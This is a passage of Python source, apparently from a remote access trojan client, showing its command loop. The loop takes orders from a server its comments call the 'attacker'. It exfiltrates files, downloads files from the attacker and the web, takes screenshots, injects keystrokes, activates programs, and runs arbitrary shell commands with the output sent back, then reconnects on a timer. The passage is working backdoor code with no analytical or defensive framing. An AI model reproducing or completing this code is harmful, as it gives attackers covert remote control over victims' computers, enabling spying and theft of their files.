server.upload(os.path.abspath(data.split(' ')[1]))
            elif data.startswith('downHTTP '):
                # download file from web
                if len(data.split(' ')) == 2:
                    downHTTP(server, data.split(' ')[1])
                elif len(data.split(' ')) == 3:
                    downHTTP(server, data.split(' ')[1], data.split(' ')[2])
            elif data.startswith('upload '):
                # download a file from server / attacker
                server.download(data.split()[1])
            elif data.startswith('screenshot'):
                # take a screenshot
                screenshot(server)
            elif data.startswith('sendKeys ') or data.startswith('sendkeys '):
                # execute keystrokes
                sendKeys(data.split(' ')[1])
                server.send('Executed Keys.\n')
            elif data.startswith('activateApp ') or data.startswith(
                    'activateapp '):
                # bring a running program in the foreground
                activApp(data.split(' ')[1])
                server.send('Activated ' + data.split(' ')[1] + '.\n')
            elif data != '':
                # run the command in the shell and send output
                server.send(execShell(data))
        time.sleep(1)
        server.close()
        # timeout to reconnect
        time.sleep(10)
server.close()